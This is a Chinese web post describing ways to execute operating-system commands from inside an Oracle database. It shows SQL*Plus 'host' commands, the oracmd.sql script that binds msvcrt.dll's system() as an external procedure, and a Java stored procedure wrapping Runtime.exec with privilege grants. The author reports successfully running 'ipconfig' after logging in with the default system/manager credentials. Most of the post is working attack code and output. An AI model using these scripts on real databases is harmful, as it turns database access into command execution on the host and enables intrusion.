时间:2021-05-02
不过有一个简单的执行cmd命令方法:
SQL> host net user
User accounts for \\PC-ATQHJ4UG1SDA
----------------------------------------------------------------------------
__vmware_user__ admin Administrator
ASPNET Guest IUSR_PC-ATQHJ4UG1SDA
IWAM_PC-ATQHJ4UG1SDA SUPPORT_388945a0
The command completed successfully.
unix或linux下用
! command
======================补充======================
网上的另两种方法:
1是利用msvcrt.dll
写一个c:\orac.sql
内容:
Rem
Rem oracmd.sql
Rem
Rem Run system commands via Oracle database servers
Rem
Rem Bugs to david@ngssoftware.com
Rem
CREATE OR REPLACE LIBRARY exec_shell AS
'C:\windows\system32\msvcrt.dll';
/
show errors
CREATE OR REPLACE PACKAGE oracmd IS
PROCEDURE exec (cmdstring IN CHAR);
end oracmd;
/
show errors
CREATE OR REPLACE PACKAGE BODY oracmd IS
PROCEDURE exec(cmdstring IN CHAR)
IS EXTERNAL
NAME "system" LIBRARY exec_shell
LANGUAGE C;
end oracmd;
/
show errors
然后C:\>sqlplus /nolog
SQL*Plus: Release 8.1.7.0.0 - Production on Thu Jun 7 14:25:38 2001
(c) Copyright 2000 Oracle Corporation. All rights reserved.
SQL> connect system/manager@orcl (分别是用户名密码和sid)
Connected.
SQL> @c:\orac.sql
Library created.
No errors.
Package created.
No errors.
Package body created.
No errors.
SQL>
SQL> exec oracmd.exec ('dir > c:\oracle.txt');
结果在我本机出现
第 1 行出现错误:
ORA-28595: Extproc 代理: DLL 路径无效
ORA-06512: 在 "SYSTEM.ORACMD", line 2
ORA-06512: 在 line 1
没有成功。
第二种方法
c:\1.sql
create or replace and compile
java souRCe named "util"
as
import java.io.*;
import java.lang.*;
public class util extends Object
{
public static int RunThis(String args)
{
Runtime rt = Runtime.getRuntime();
int RC = -1;
try
{
Process p = rt.exec(args);
int bufSize = 4096;
BufferedInputStream bis =new BufferedInputStream(p.getInputStream(), bufSize);
int len;
byte buffer[] = new byte[bufSize];
// Echo back what the program spit out
while ((len = bis.read(buffer, 0, bufSize)) != -1)
System.out.write(buffer, 0, len);
RC = p.waitFor();
}
catch (Exception e)
{
e.printStackTrace();
RC = -1;
}
finally
{
return RC;
}
}
}
c:\2.sql
create or replace
function RUN_CMz(p_cmd in varchar2) return number
as
language java
name 'util.RunThis(java.lang.String) return integer';
c:\3.sql
create or replace procedure RC(p_cmd in varChar)
as
x number;
begin
x := RUN_CMz(p_cmd);
end;
登陆上去后依旧是依次执行
SQL> @c:\1.sql
/
@c:\2.sql
/
@c:\3.sql
/
variable x number;
set serveroutput on;
exec dbms_java.set_output(100000);
grant javasyspriv to system;
grant javauserpriv to system;(网上的方法没有这一行,我无法成功,加上去可以)
exec :x:=run_cmz('ipconfig'); 成功运行了命令
测试环境win2003+oracle11g
声明:本页内容来源网络,仅供用户参考;我单位不保证亦不表示资料全面及准确无误,也不保证亦不表示这些资料为最新信息,如因任何原因,本网内容或者用户因倚赖本网内容造成任何损失或损害,我单位将不会负任何法律责任。如涉及版权问题,请提交至online#300.cn邮箱联系删除。
方法1:将shell执行的结果保存到字符串defrun_cmd(cmd):result_str=''process=subprocess.Popen(cmd,s
复制代码代码如下:#在后台执行cmd指令cmd&#命令序列.在同一行执行多个命令cmd1;cmd2#在当前shell中以一组的形式执行多个命令{cmd1;cmd
本文实例讲述了C#执行DOS命令的方法。分享给大家供大家参考。具体实现方法如下:在c#程序中,有时会用到调用cmd命令完成一些功能,本文介绍的如下方法,可实现c
oracle10g卸载 软件环境: 1、WindowsXP+Oracle10g 2、Oracle安装路径为:d:\Oracle 实现方法: 1、开始-
复制代码代码如下:'执行方法:直接双击vbs文件或者通过cmd.exe下cscript.exe"指定脚本的路径"'利用Vbs脚本实现显示系统服务里表'Creat